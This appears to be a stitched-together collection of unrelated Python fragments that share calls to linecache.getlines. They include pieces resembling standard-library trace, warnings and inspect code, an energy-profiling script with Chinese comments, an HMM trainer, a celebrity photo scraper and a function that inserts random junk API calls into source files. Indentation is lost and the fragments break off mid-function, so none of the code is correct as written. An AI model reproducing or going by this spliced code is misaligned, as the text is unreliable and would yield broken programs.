lineno = getattr(n, 'lineno', maxl)
end_lineno = getattr(n, 'end_lineno', None)
if end_lineno is not None:
# end_lineno is more precise, but lineno should almost always work too.
lineno = end_lineno
maxl = max(maxl, lineno)
if minl <= def_line <= maxl:
candidates.append((ln, minl, maxl))
# Happy path: exactly one node found.
if len(candidates) == 1:
(node, minl, maxl), = candidates # pylint:disable=unbalanced-tuple-unpacking
return _without_context(node, lines, minl, maxl)
elif not candidates:
raise errors.UnsupportedLanguageElementError(
'could not parse the source code of {}:'
' no matching AST found'.format(lam))
# Attempt to narrow down selection by signature is multiple nodes are found.
matches = [v for v in candidates if _node_matches_argspec(v[0], lam)]
if len(matches) == 1:
(node, minl, maxl), = matches
return _without_context(node, lines, minl, maxl)
# Give up if could not narrow down to a single node.
matches = '\n'.join('Match {}:\n{}\n'.format(
i, unparse(node, include_encoding_marker=False))
for i, (node, _, _) in enumerate(matches))
raise errors.UnsupportedLanguageElementError(
'could not parse the source code of {}: found multiple definitions with'
' identical signatures at the location. This error'
' may be avoided by defining each lambda on a single line and with'
' unique argument names.\n{}'.format(lam, matches))
def test_lazycache_no_globals(self):
lines = linecache.getlines(FILENAME)
linecache.clearcache()
self.assertEqual(False, linecache.lazycache(FILENAME, None))
self.assertEqual(lines, linecache.getlines(FILENAME))
if len(resurl) > 0:
with open('赵丽颖.txt', 'a', encoding='utf-8') as file:
file.write('http://www.mingtuiw.com'+resurl[0])
file.write('\n')
def getList():
for i in range(1, 20):
link = 'http://www.mingtuiw.com/archives/category/演员/迪丽热巴/page/' + str(i)
try:
getTitle(link)
except:
logging.debug('TitleError' + link)
def downPhoto(link):
try:
r = requests.get(link[:-1], headers=headers, timeout=3)
fw = open('F:\leg\dlrb\ ' + link[51:-13] + '.jpg', 'wb')
fw.write(r.content)
r.close()
except:
logging.debug(link + 'is wrong')
pool = ThreadPool(4) #双核电脑
tot_page = []
str = linecache.getlines('porn2.txt')
pool.map(downPhoto, str) # 多线程工作
pool.map(getTitle,tot_page)
pool.close()
pool.join()
def main(argv): #argv[1]
print('参数1是函数时间信息的文件名，2是rapl数据', argv[0], argv[1])
funSumPowerList = []
funPowerList = []
treegriddataList = []
funTimeData = linecache.getlines(argv[0])
raplData = linecache.getlines(argv[1])
print(len(raplData))
#lenfunTimeData=len(funTimeData)
index = 0
for i in range(1, (len(funTimeData) + 1)):
#i, 1~ len-1， 0行是空的
tmpline = linecache.getline(argv[0], i)
tmpline = tmpline.strip()
ft1 = ft2 = 0
if tmpline.split(' ')[1] == '1':
#print(i,tmpline)
ft1 = int(tmpline.split(' ')[0])
funname = tmpline.split(' ')[2]
tmp = 0
chongming = 0
#寻找函数的结束时间
#linecache里没第0行，所以这里的行数要注意下，for里是有第0行的
for j in funTimeData:
if tmp <= (i - 1):
tmp = tmp + 1
continue
if j.split(' ')[1] == '1': #不是1就是-1啊
if j.split(' ')[2].strip() == funname:
chongming = chongming + 1
tmp = tmp + 1
elif j.split(' ')[2].strip() == funname:
if chongming == 0:
ft2 = int(j.split(' ')[0])
#print j
break
else:
chongming = chongming - 1
continue
pt11 = pt12 = pt21 = pt22 = 0
tmptime1 = tmptime2 = 0
for k in raplData:
tmptime2 = int(k.split(' ')[0])
if ft1 >= tmptime1 and ft1 <= tmptime2:
pt11 = tmptime1
pt12 = tmptime2
if ft2 >= tmptime1 and ft2 <= tmptime2:
pt21 = tmptime1
pt22 = tmptime2
break
tmptime1 = int(k.split(' ')[0])
#print (ft1,ft2,funname,pt11,pt12,pt21,pt22)
#计算i行函数的能耗
p0 = p1 = d0 = d1 = 0.0
if (pt11 == pt21 and pt12 == pt22):
for m in raplData:
tmpt = int(m.split(' ')[0])
#1534238755593453 p0=21789550 p1=23132324 d0=4180908 d1=4180908
if tmpt == pt22:
tmpdata = pdataconvert(m.strip())
#print m
p0 = tmpdata[0] * 1.0 * (ft2 - ft1) / (pt22 - pt21)
p1 = tmpdata[1] * 1.0 * (ft2 - ft1) / (pt22 - pt21)
d0 = tmpdata[2] * 1.0 * (ft2 - ft1) / (pt22 - pt21)
d1 = tmpdata[3] * 1.0 * (ft2 - ft1) / (pt22 - pt21)
break
else:
tmptime1 = tmptime2 = 0
for m in raplData:
tmpt = int(m.split(' ')[0])
if tmpt == pt12:
#print m
tmpdata = pdataconvert(m.strip())
p0 = tmpdata[0] * 1.0 * (pt12 - ft1) / (pt12 - pt11)
p1 = tmpdata[1] * 1.0 * (pt12 - ft1) / (pt12 - pt11)
d0 = tmpdata[2] * 1.0 * (pt12 - ft1) / (pt12 - pt11)
d1 = tmpdata[3] * 1.0 * (pt12 - ft1) / (pt12 - pt11)
continue
if tmpt > pt12 and tmpt < pt21:
#print m
tmpdata = pdataconvert(m.strip())
p0 += tmpdata[0] * 1.0
p1 += tmpdata[1] * 1.0
d0 += tmpdata[2] * 1.0
d1 += tmpdata[3] * 1.0
continue
if tmpt == pt22:
#print m
tmpdata = pdataconvert(m.strip())
p0 += tmpdata[0] * 1.0 * (ft2 - pt21) / (pt22 - pt21)
p1 += tmpdata[1] * 1.0 * (ft2 - pt21) / (pt22 - pt21)
d0 += tmpdata[2] * 1.0 * (ft2 - pt21) / (pt22 - pt21)
d1 += tmpdata[3] * 1.0 * (ft2 - pt21) / (pt22 - pt21)
break
#函数的能耗 或者在这里追加到一个文件，次数也是很多的
#funPowerList.append([funname,p0,p1,d0,d1])
#print funname,p0,p1,d0,d1
funPowerList.append([
str(ft1),
str(ft2), funname,
str(p0),
str(p1),
str(d0),
str(d1)
])
#funPowerList.append([str(ft1),str(ft2),funname,str(p0),str(p1),str(d0),str(d1)])
#treegriddataList
#treegriddataList.append()
#print funPowerList
#将结果保存到文件
print("将结果保存到文件,文件名为 参数3.funpower.时间 \n")
currenttime = time.localtime(time.time())
fw = open(
argv[2] + ".funpower" + str(currenttime.tm_mon) +
str(currenttime.tm_mday) + str(currenttime.tm_hour) +
str(currenttime.tm_min), 'w')
#fw.writelines(['#!/usr/bin/env sh\n'])
for i in funPowerList:
#[funname,p0,p1,d0,d1]
#fw.writelines([i,'\n'])
fw.writelines([
i[0], ',', i[1], ',', i[2], ',', i[3], ',', i[4], ',', i[5], ',',
i[6]
])
fw.writelines(['\n'])
fw.close()
print('生成treegrid data...')
'''
name_age={"da_wang":27,"liu":26,"kong":12}用dict表示刚好,但注意dict中是单引号
{"id":11,"name":"fun1","power":"111,1111,2222,333","_parentId":0},
{"id":0,"name":"functions"},
{"id":11,"region":"Albin","f1":2000,"f2":1800,"f3":1903,"f4":2183,"f5":2133,"f6":1923,"f7":2018,"f8":1838,"_parentId":1},
{"id":2,"region":"Washington"},
{"id":21,"region":"Bellingham","f1":2000,"f2":1800,"f3":1903,"f4":2183,"f5":2133,"f6":1923,"f7":2018,"f8":1838,"_parentId":2},
{"id":24,"region":"Monroe","f1":2000,"f2":1800,"f3":1903,"f4":2183,"f5":2133,"f6":1923,"f7":2018,"f8":1838,"_parentId":2}
],"footer":[
{"region":"Total","f1":14000,"f2":12600,"f3":13321,"f4":15281,"f5":14931,"f6":13461,"f7":14126,"f8":12866}
]}
'''
filename = argv[2] + ".treegrid" + str(currenttime.tm_mon) + str(
currenttime.tm_mday) + str(currenttime.tm_hour) + str(
currenttime.tm_min)
fw = open(filename, 'w')
print('save to ' + filename)
fw.writelines(['''{"total":''' + str(len(funPowerList)) + ''',"rows":['''])
fw.writelines(['\n'])
tsum = p0sum = p1sum = d0sum = d1sum = 0.0 #计算总和
funPowerList2 = funPowerList
#print( 'fnname\ttime(us)\tp0\tp1\td0\td1' )
#print( '%20s %12s %12s %12s %12s %12s' )%('fnname','time(us)','p0','p1','d0','d1') #python2
print('%20s %12s %12s %12s %12s %12s' %
('fnname', 'time(us)', 'p0', 'p1', 'd0', 'd1')) #python3
for i, v in enumerate(funPowerList):
parentID = 0
#print i,v #i从0开始
#[time1,time2,funname,p0,p1,d0,d1]
ftime1 = int(v[0])
ftime2 = int(v[1])
#for i2,v2 in enumerate(funPowerList[(i+1):]): # i2也是从0开始，这样就不知道行数了
for i2, v2 in enumerate(funPowerList):
ftime3 = int(v2[0])
ftime4 = int(v2[1])
if ftime3 < ftime1 and ftime2 < ftime4:
parentID = i2 + 1
continue
if ftime2 < ftime3:
break
if parentID != 0:
#string='''{'id':'''+ str(i+1)+ ''','name':'''+v[2]+''','p0':'''+i[3]+''','p1':'''+i[4]+''','d0':'''+i[5]+''','d1':'''+i[6]+''','_parentId':'''+str(parentID)+'}'
#fw.writelines([str({'id':i+1,'name':v[2],'p0':i[3],'p1':i[4],'d0':i[5],'d1':i[6],'_parentId':parentID})])
#tmpdict={'id':(i+1),'name':v[2],'p0':v[3],'p1':v[4],'d0':v[5],'d1':v[6],'_parentId':parentID}
tmpdict = {
'id': (i + 1),
'name': v[2],
't': time2kexue(ftime2 - ftime1),
'p0': '%.3e' % (float(v[3])),
'p1': '%.3e' % (float(v[4])),
'd0': '%.3e' % (float(v[5])),
'd1': '%.3e' % (float(v[6])),
'_parentId': parentID
}
else:
p0sum += float(v[3])
p1sum += float(v[4])
d0sum += float(v[5])
d1sum += float(v[6])
tsum += float(ftime2 - ftime1)
tmpdict = {
'id': (i + 1),
'name': v[2],
't': time2kexue(ftime2 - ftime1),
'p0': '%.3e' % (float(v[3])),
'p1': '%.3e' % (float(v[4])),
'd0': '%.3e' % (float(v[5])),
'd1': '%.3e' % (float(v[6]))
}
#.replace('\'','"')单引号的json格式不识别，应该为双引号
fw.writelines([str(tmpdict).replace('\'', '"'), '\n'])
#print( tmpdict['name']+'\t'+tmpdict['t']+'\t'+tmpdict['p0']+'\t'+tmpdict['p1']+'\t'+tmpdict['d0']+'\t'+tmpdict['d1'] )
#print( '%20s %12s %12s %12s %12s %12s' )%(tmpdict['name'],tmpdict['t'],tmpdict['p0'],tmpdict['p1'],tmpdict['d0'],tmpdict['d1']) #python2
print('%20s %12s %12s %12s %12s %12s' %
(tmpdict['name'], tmpdict['t'], tmpdict['p0'], tmpdict['p1'],
tmpdict['d0'], tmpdict['d1'])) #python3
if i + 1 != len(funPowerList):
fw.writelines([','])
#treegriddataList.append()
#],"footer":[{"name":"Total Energy:","persons":7,"iconCls":"icon-sum"} ]}
#fw.writelines([']}']) #这是不加总和的
#print('{"name":"Total Energy:","p0":"%.f","p1":"%.f","d0":"%.f","d1":"%.f"} ]}'%(float(p0sum),float(p1sum),float(d0sum),float(d1sum),))
print(
'----\n%20s %12s %.4e %.4e %.4e %.4e' % (
'sum',
time2kexue(tsum),
float(p0sum),
float(p1sum),
float(d0sum),
float(d1sum),
)
) # #python3 print('{"name":"Total Energy:","p0":"%.f","p1":"%.f","d0":"%.f","d1":"%.f"} ]}'%(float(p0sum),float(p1sum),float(d0sum),float(d1sum),))
fw.writelines([
'],"footer":[{"name":"Total Energy:","t":"%s","p0":"%.3e","p1":"%.3e","d0":"%.3e","d1":"%.3e"} ]}'
% (
time2kexue(tsum),
float(p0sum),
float(p1sum),
float(d0sum),
float(d1sum),
)
])
fw.close()
print('over.')
def pdataconvert(p):
#print p
#p0=21789550 p1=23132324 d0=4180908 d1=4180908
tmp = p.split(' ')
return [
int(tmp[1].split('=')[1]),
int(tmp[2].split('=')[1]),
int(tmp[3].split('=')[1]),
int(tmp[4].split('=')[1])
]
if __name__ == "__main__":
print("参数3 保存结果的文件名加个funpower >>log.txt")
main(sys.argv[1:]) #参数0是文件名，不传入下面的函数
'''
linecache.getlines(filename)
从名为filename的文件中得到全部内容，输出为列表格式，以文件每行为列表中的一个元素,并以linenum-1为元素在列表中的位置存储
linecache.getline(filename,lineno)
从名为filename的文件中得到第lineno行。这个函数从不会抛出一个异常–产生错误时它将返回”（换行符将包含在找到的行里）。
如果文件没有找到，这个函数将会在sys.path搜索。
>>> import time()
>>> print time.time()
1518068251.33
>>> time = time.localtime(time.time())
>>> print time
time.struct_time(tm_year=2018, tm_mon=2, tm_mday=8, tm_hour=13, tm_min=37, tm_sec=31, tm_wday=3, tm_yday=39, tm_isdst=0)
>>> print time.tm_year
2018
def write_results(self, show_missing=True, summary=False, coverdir=None):
"""
@param coverdir
"""
if self.calledfuncs:
print()
print("functions called:")
calls = self.calledfuncs.keys()
for filename, modulename, funcname in sorted(calls):
print(("filename: %s, modulename: %s, funcname: %s" %
(filename, modulename, funcname)))
if self.callers:
print()
print("calling relationships:")
lastfile = lastcfile = ""
for ((pfile, pmod, pfunc), (cfile, cmod, cfunc)) \
in sorted(self.callers.keys()):
if pfile != lastfile:
print()
print("***", pfile, "***")
lastfile = pfile
lastcfile = ""
if cfile != pfile and lastcfile != cfile:
print(" -->", cfile)
lastcfile = cfile
print(" %s.%s -> %s.%s" % (pmod, pfunc, cmod, cfunc))
# turn the counts data ("(filename, lineno) = count") into something
# accessible on a per-file basis
per_file = {}
for filename, lineno in self.counts.keys():
lines_hit = per_file[filename] = per_file.get(filename, {})
lines_hit[lineno] = self.counts[(filename, lineno)]
# accumulate summary info, if needed
sums = {}
for filename, count in per_file.items():
if self.is_ignored_filename(filename):
continue
if filename.endswith((".pyc", ".pyo")):
filename = filename[:-1]
if coverdir is None:
dir = os.path.dirname(os.path.abspath(filename))
modulename = modname(filename)
else:
dir = coverdir
if not os.path.exists(dir):
os.makedirs(dir)
modulename = fullmodname(filename)
# If desired, get a list of the line numbers which represent
# executable content (returned as a dict for better lookup speed)
if show_missing:
lnotab = find_executable_linenos(filename)
else:
lnotab = {}
source = linecache.getlines(filename)
coverpath = os.path.join(dir, modulename + ".cover")
n_hits, n_lines = self.write_results_file(coverpath, source,
lnotab, count)
if summary and n_lines:
percent = int(100 * n_hits / n_lines)
sums[modulename] = n_lines, percent, modulename, filename
if summary and sums:
print("lines cov% module (path)")
for m in sorted(sums.keys()):
n_lines, percent, modulename, filename = sums[m]
print("%5d %3d%% %s (%s)" % sums[m])
if self.outfile:
# try and store counts and module info into self.outfile
try:
pickle.dump((self.counts, self.calledfuncs, self.callers),
open(self.outfile, 'wb'), 1)
except IOError as err:
print("Can't save counts files because %s" % err,
file=sys.stderr)
def insert_garbage_code(path):
def get_random_api_text():
text = random.choice(api)
return '{0}//{1}'.format(
text.replace('\n', ''), ''.join(
random.sample(text, random.randint(8, 16))).replace('\n',
'')) + '\n'
def roll():
return random.choice([True, False, False])
def skip_num(line):
"""
计算是否遇到不稳定的pattern，如果是 返回1
:param line:
:return:
"""
pattern = ['foreach', 'for', 'if', 'else']
return len(list(filter(lambda x: x in line, pattern)))
api = linecache.getlines(config.method_api_out_path)
insert_points_list = []
with open('insert.yaml', 'r', encoding='utf-8') as f:
insert_points_list = yaml.load(f, yaml.SafeLoader)
for insert_points in insert_points_list:
file_path = concat_abs_path(path, insert_points['file'])
insert_points = insert_points['pattern']
lines = linecache.getlines(file_path)
out = lines.copy()
find = False
method_end_str = ''
times = 0
skip = 0
for index, line in enumerate(lines):
def validate_line(line):
return line.find(';') != -1 and line.find('return') == -1
if find and line == method_end_str: # 重置函数位置
find = False
skip = 0
continue
if skip > 0: # 跳过pattern的下一行
skip = skip - 1
continue
if line.strip().startswith('//'): # 跳过注释
continue
if len(list(filter(lambda x: x in line,
insert_points))) > 0: # 找到函数位置
find = True
method_end_str = lines[index + 1].replace('{', '}') # 函数结束缩进
times = 0
continue
skip = skip_num(line) # 计算pattern
if skip > 0:
continue
if find and validate_line(line) and roll(): # 找到插入点位置和roll到插入
for i in range(
random.randint(config.insert_min, config.insert_max)):
out[index] = out[index] + (line.replace(
' ',
'\t').count('\t')) * '\t' + get_random_api_text()
times = times + 1
linecache.clearcache()
with open(file_path, 'w') as f:
f.writelines(out)
logging.info('insert:{0} [{1}] times'.format(file_path, times))
def warn_explicit(message, category, filename, lineno,
module=None, registry=None, module_globals=None):
lineno = int(lineno)
if module is None:
module = filename or "<unknown>"
if module[-3:].lower() == ".py":
module = module[:-3] # XXX What about leading pathname?
if registry is None:
registry = {}
if isinstance(message, Warning):
text = str(message)
category = message.__class__
else:
text = message
message = category(message)
key = (text, category, lineno)
# Quick test for common case
if registry.get(key):
return
# Search the filters
for item in filters:
action, msg, cat, mod, ln = item
if ((msg is None or msg.match(text)) and
issubclass(category, cat) and
(mod is None or mod.match(module)) and
(ln == 0 or lineno == ln)):
break
else:
action = defaultaction
# Early exit actions
if action == "ignore":
registry[key] = 1
return
# Prime the linecache for formatting, in case the
# "file" is actually in a zipfile or something.
linecache.getlines(filename, module_globals)
if action == "error":
raise message
# Other actions
if action == "once":
registry[key] = 1
oncekey = (text, category)
if onceregistry.get(oncekey):
return
onceregistry[oncekey] = 1
elif action == "always":
pass
elif action == "module":
registry[key] = 1
altkey = (text, category, 0)
if registry.get(altkey):
return
registry[altkey] = 1
elif action == "default":
registry[key] = 1
else:
# Unrecognized actions are errors
raise RuntimeError(
"Unrecognized action (%r) in warnings.filters:\n %s" %
(action, item))
# Print message and context
showwarning(message, category, filename, lineno)
def write_results(self, show_missing=True, summary=False, coverdir=None):
"""
Write the coverage results.
:param show_missing: Show lines that had no hits.
:param summary: Include coverage summary per module.
:param coverdir: If None, the results of each module are placed in its
directory, otherwise it is included in the directory
specified.
"""
if self.calledfuncs:
print(file=self.output_file)
print("functions called:", file=self.output_file)
self.maybe_flush()
calls = self.calledfuncs
for filename, modulename, funcname in sorted(calls):
print(("filename: %s, modulename: %s, funcname: %s" %
(filename, modulename, funcname)),
file=self.output_file)
self.maybe_flush()
if self.callers:
print(file=self.output_file)
print("calling relationships:", file=self.output_file)
self.maybe_flush()
lastfile = lastcfile = ""
for ((pfile, pmod, pfunc), (cfile, cmod, cfunc)) \
in sorted(self.callers):
if pfile != lastfile:
print(file=self.output_file)
print("***", pfile, "***", file=self.output_file)
self.maybe_flush()
lastfile = pfile
lastcfile = ""
if cfile != pfile and lastcfile != cfile:
print(" -->", cfile, file=self.output_file)
self.maybe_flush()
lastcfile = cfile
print(" %s.%s -> %s.%s" % (pmod, pfunc, cmod, cfunc),
file=self.output_file)
self.maybe_flush()
# turn the counts data ("(filename, lineno) = count") into something
# accessible on a per-file basis
per_file = {}
for filename, lineno in self.counts:
lines_hit = per_file[filename] = per_file.get(filename, {})
lines_hit[lineno] = self.counts[(filename, lineno)]
# accumulate summary info, if needed
sums = {}
for filename, count in per_file.items():
if self.is_ignored_filename(filename):
continue
if filename.endswith(".pyc"):
filename = filename[:-1]
if coverdir is None:
dir = os.path.dirname(os.path.abspath(filename))
modulename = _modname(filename)
else:
dir = coverdir
if not os.path.exists(dir):
os.makedirs(dir)
modulename = _fullmodname(filename)
# If desired, get a list of the line numbers which represent
# executable content (returned as a dict for better lookup speed)
if show_missing:
lnotab = _find_executable_linenos(filename)
else:
lnotab = {}
source = linecache.getlines(filename)
coverpath = os.path.join(dir, modulename + ".cover")
with open(filename, 'rb') as fp:
encoding, _ = tokenize.detect_encoding(fp.readline)
n_hits, n_lines = self.write_results_file(coverpath, source,
lnotab, count, encoding)
if summary and n_lines:
percent = int(100 * n_hits / n_lines)
sums[modulename] = n_lines, percent, modulename, filename
if summary and sums:
print("lines cov% module (path)", file=self.output_file)
self.maybe_flush()
for m in sorted(sums):
n_lines, percent, modulename, filename = sums[m]
print("%5d %3d%% %s (%s)" % sums[m],
file=self.output_file)
self.maybe_flush()
if self.outfile:
# try and store counts and module info into self.outfile
try:
pickle.dump((self.counts, self.calledfuncs, self.callers),
open(self.outfile, 'wb'), 1)
except OSError as err:
print("Can't save counts files because %s" % err,
file=sys.stderr)
def show_results(prof, stream=None, precision=3):
if stream is None:
stream = sys.stdout
template = '{0:>6} {1:>12} {2:>12} {3:<}'
for code in prof.code_map:
lines = prof.code_map[code]
if not lines:
# .. measurements are empty ..
continue
filename = code.co_filename
if filename.endswith((".pyc", ".pyo")):
filename = filename[:-1]
stream.write('Filename: ' + filename + '\n\n')
if not os.path.exists(filename):
stream.write('ERROR: Could not find file ' + filename + '\n')
if filename.startswith("ipython-input") or filename.startswith(
"<ipython-input"):
print("NOTE: %mprun can only be used on functions defined in "
"physical files, and not in the IPython environment.")
continue
all_lines = linecache.getlines(filename)
sub_lines = inspect.getblock(all_lines[code.co_firstlineno - 1:])
linenos = range(code.co_firstlineno,
code.co_firstlineno + len(sub_lines))
lines_normalized = {}
header = template.format('Line #', 'Mem usage', 'Increment',
'Line Contents')
stream.write(header + '\n')
stream.write('=' * len(header) + '\n')
# move everything one frame up
keys = sorted(lines.keys())
k_old = keys[0] - 1
lines_normalized[keys[0] - 1] = lines[keys[0]]
for i in range(1, len(lines_normalized[keys[0] - 1])):
lines_normalized[keys[0] - 1][i] = -1.
k = keys.pop(0)
while keys:
lines_normalized[k] = lines[keys[0]]
for i in range(len(lines_normalized[k_old]),
len(lines_normalized[k])):
lines_normalized[k][i] = -1.
k_old = k
k = keys.pop(0)
first_line = sorted(lines_normalized.keys())[0]
mem_old = max(lines_normalized[first_line])
precision = int(precision)
template_mem = '{{0:{0}.{1}'.format(precision + 6, precision) + 'f} MB'
for i, l in enumerate(linenos):
mem = ''
inc = ''
if l in lines_normalized:
mem = max(lines_normalized[l])
inc = mem - mem_old
mem_old = mem
mem = template_mem.format(mem)
inc = template_mem.format(inc)
stream.write(template.format(l, mem, inc, sub_lines[i]))
stream.write('\n\n')
def read_records(self, task):
records = linecache.getlines(
task.shard.name)[task.shard.start:task.shard.end]
return records
def findsource(object):
"""Return the entire source file and starting line number for an object.
The argument may be a module, class, method, function, traceback, frame,
or code object. The source code is returned as a list of all the lines
in the file and the line number indexes a line in that list. An IOError
is raised if the source code cannot be retrieved."""
file = getfile(object)
sourcefile = getsourcefile(object)
if not sourcefile and file[:1] + file[-1:] != '<>':
raise IOError('source code not available')
file = sourcefile if sourcefile else file
module = getmodule(object, file)
if module:
lines = linecache.getlines(file, module.__dict__)
else:
lines = linecache.getlines(file)
if not lines:
raise IOError('could not get source code')
if ismodule(object):
return lines, 0
if isclass(object):
name = object.__name__
pat = re.compile(r'^(\s*)class\s*' + name + r'\b')
# make some effort to find the best matching class definition:
# use the one with the least indentation, which is the one
# that's most probably not inside a function definition.
candidates = []
for i in range(len(lines)):
match = pat.match(lines[i])
if match:
# if it's at toplevel, it's already the best one
if lines[i][0] == 'c':
return lines, i
# else add whitespace to candidate list
candidates.append((match.group(1), i))
if candidates:
# this will sort by whitespace, and by line number,
# less whitespace first
candidates.sort()
return lines, candidates[0][1]
else:
raise IOError('could not find class definition')
if ismethod(object):
object = object.im_func
if isfunction(object):
object = object.func_code
if istraceback(object):
object = object.tb_frame
if isframe(object):
object = object.f_code
if iscode(object):
if not hasattr(object, 'co_firstlineno'):
raise IOError('could not find function definition')
lnum = object.co_firstlineno - 1
pat = re.compile(r'^(\s*def\s)|(.*(?<!\w)lambda(:|\s))|^(\s*@)')
while lnum > 0:
if pat.match(lines[lnum]): break
lnum = lnum - 1
return lines, lnum
raise IOError('could not find code object')
def format_stack_entry(self, frame_lineno, lprefix=': ', context=3):
import linecache, repr
ret = []
Colors = self.color_scheme_table.active_colors
ColorsNormal = Colors.Normal
tpl_link = '%s%%s%s' % (Colors.filenameEm, ColorsNormal)
tpl_call = '%s%%s%s%%s%s' % (Colors.vName, Colors.valEm, ColorsNormal)
tpl_line = '%%s%s%%s %s%%s' % (Colors.lineno, ColorsNormal)
tpl_line_em = '%%s%s%%s %s%%s%s' % (Colors.linenoEm, Colors.line,
ColorsNormal)
frame, lineno = frame_lineno
return_value = ''
if '__return__' in frame.f_locals:
rv = frame.f_locals['__return__']
#return_value += '->'
return_value += repr.repr(rv) + '\n'
ret.append(return_value)
#s = filename + '(' + `lineno` + ')'
filename = self.canonic(frame.f_code.co_filename)
link = tpl_link % filename
if frame.f_code.co_name:
func = frame.f_code.co_name
else:
func = "<lambda>"
call = ''
if func != '?':
if '__args__' in frame.f_locals:
args = repr.repr(frame.f_locals['__args__'])
else:
args = '()'
call = tpl_call % (func, args)
# The level info should be generated in the same format pdb uses, to
# avoid breaking the pdbtrack functionality of python-mode in *emacs.
if frame is self.curframe:
ret.append('> ')
else:
ret.append(' ')
ret.append('%s(%s)%s\n' % (link, lineno, call))
start = lineno - 1 - context // 2
lines = linecache.getlines(filename)
start = max(start, 0)
start = min(start, len(lines) - context)
lines = lines[start:start + context]
for i, line in enumerate(lines):
show_arrow = (start + 1 + i == lineno)
linetpl = (frame is self.curframe or show_arrow) \
and tpl_line_em \
or tpl_line
ret.append(
self.__format_line(linetpl,
filename,
start + 1 + i,
line,
arrow=show_arrow))
return ''.join(ret)
def main():
le = preprocessing.LabelEncoder()
x = np.array([])
x_len = np.array([])
line_cache = linecache.getlines(train_file)
count = len(line_cache)
number = int(count / chunk_lines)
print(count)
print(number)
t()
pool = mp.Pool(processes=10)
jobs = []
for i in range(10):
jobs.append(
pool.apply_async(
read_distributed,
line_cache[i * chunk_lines:i * chunk_lines + chunk_lines]))
# jobs.append(pool.apply_async(read_distributed, line_cache[number * chunk_lines : count]))
for job in jobs:
x = np.append(x, job.get()[0])
x_len = np.append(x_len, job.get()[1])
pool.close()
labels = []
for number in x:
if number in labels:
pass
else:
labels.append(number)
# print(labels)
le.fit(labels)
print('**************************************')
t()
print(le.classes_)
model_le_name = MODEL_PATH + 'le.pkl'
with open(model_le_name, 'wb') as model_file:
pickle.dump(le, model_file)
print("le saved")
x = x[:, np.newaxis]
new_x = le.transform(x)
X = np.array(new_x).astype('int32')
# X = X[:, np.newaxis]
X = X.reshape(-1, 1)
# print(X.shape)
# print(X.dtype)
#
print(X)
print(len(X))
#
# print(x_len.shape)
# print(x_len.dtype)
X_len = np.array(x_len).astype('int32')
# print(X_len.shape)
# print(X_len.dtype)
print(sum(X_len))
number_of_status = 100
print('￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥￥')
t()
print('Start Training')
model = hmm.MultinomialHMM(n_components=number_of_status,
n_iter=10000,
tol=0.01,
verbose=True)
model.fit(X, X_len)
# print(model.score(x,x_len))
print('**************************************')
print(model.transmat_)
model_name = MODEL_PATH + 'hmm.pkl'
with open(model_name, 'wb') as model_file:
pickle.dump(model, model_file)
print("hmm saved")
def warn_explicit(message,
category,
filename,
lineno,
module=None,
registry=None,
module_globals=None):
lineno = int(lineno)
if module is None:
module = filename or "<unknown>"
if module[-3:].lower() == ".py":
module = module[:-3] # XXX What about leading pathname?
if registry is None:
registry = {}
if isinstance(message, Warning):
text = str(message)
category = message.__class__
else:
text = message
message = category(message)
key = (text, category, lineno)
# Quick test for common case
if registry.get(key):
return
# Search the filters
for item in filters:
action, msg, cat, mod, ln = item
if ((msg is None or msg.match(text)) and issubclass(category, cat)
and (mod is None or mod.match(module))
and (ln == 0 or lineno == ln)):
break
else:
action = defaultaction
# Early exit actions
if action == "ignore":
registry[key] = 1
return
# Prime the linecache for formatting, in case the
# "file" is actually in a zipfile or something.
linecache.getlines(filename, module_globals)
if action == "error":
raise message
# Other actions
if action == "once":
registry[key] = 1
oncekey = (text, category)
if onceregistry.get(oncekey):
return
onceregistry[oncekey] = 1
elif action == "always":
pass
elif action == "module":
registry[key] = 1
altkey = (text, category, 0)
if registry.get(altkey):
return
registry[altkey] = 1
elif action == "default":
registry[key] = 1
else:
# Unrecognized actions are errors
raise RuntimeError(
"Unrecognized action (%r) in warnings.filters:\n %s" %
(action, item))
# Warn if showwarning() does not support the 'line' argument.
# Don't use 'inspect' as it relies on an extension module, which break the
# build thanks to 'warnings' being imported by setup.py.
fxn_code = None
if hasattr(showwarning, 'func_code'):
fxn_code = showwarning.func_code
elif hasattr(showwarning, '__func__'):
fxn_code = showwarning.__func__.func_code
if fxn_code:
args = fxn_code.co_varnames[:fxn_code.co_argcount]
CO_VARARGS = 0x4
if 'line' not in args and not fxn_code.co_flags & CO_VARARGS:
showwarning_msg = ("functions overriding warnings.showwarning() "
"must support the 'line' argument")
if message == showwarning_msg:
_show_warning(message, category, filename, lineno)
else:
warn(showwarning_msg, DeprecationWarning)
# Print message and context
showwarning(message, category, filename, lineno)
picklefile = open('/home/songjz671/covariancesurfaceout/surface.pickle', 'rb')
surface = pickle.load(picklefile)
#print(surface)
#print(surface['1ACB_E'])
omessurface = {}
filelist = []
for root, dirs, files in os.walk('/home/songjz671/covarianceout/omes'):
for file in files:
filelist.append(os.path.join(root, file))
for each in filelist:
#w=xlwt.Workbook()
#ws = w.add_sheet('covariance')
filename = each.split('/')[-1]
proteinid = filename.split('.')[0]
a = linecache.getlines(each)
pointresult = {}
surfaceresult = {}
for i in range(1, len(a)):
part1 = a[i].split()[0]
part2 = a[i].split()[1]
if part1 not in pointresult.keys():
pointresult[part1] = 0
if part2 not in pointresult.keys():
pointresult[part2] = 0
num = len(pointresult.keys()) - 1
for each_item in pointresult.keys():
for each_one in range(1, len(a)):
partone = a[each_one].split()[0]
parttwo = a[each_one].split()[1]
if each_item == partone or each_item == parttwo:
x[line_no][col_no] = sku_dict[i]
mask[line_no][col_no] = 1
col_no += 1
if col_no >= max_window_size:
break
word_num[line_no] = col_no
line_no += 1
return x, np.array(y).reshape(batch_size, 1), mask.reshape(
batch_size, max_window_size, 1), word_num.reshape(batch_size, 1)
#========================
init_data(train_file)
n_classes = len(label_dict)
train_lst = linecache.getlines(train_file)
print("Class Num: ", n_classes)
# Store layers weight & bias
weights = {
'h1': tf.Variable(tf.random_normal([emb_size, n_hidden_1])),
# 'h2': tf.Variable(tf.random_normal([n_hidden_1, n_hidden_2])),
'out': tf.Variable(tf.random_normal([n_hidden_1, n_classes]))
}
biases = {
'b1': tf.Variable(tf.random_normal([n_hidden_1])),
# 'b2': tf.Variable(tf.random_normal([n_hidden_2])),
'out': tf.Variable(tf.random_normal([n_classes]))
}
def main():
HtmlTagNbData= "E:\\UnderGraduateDesign\\ExperimentSample\\AssetValue\\tagnb.txt"
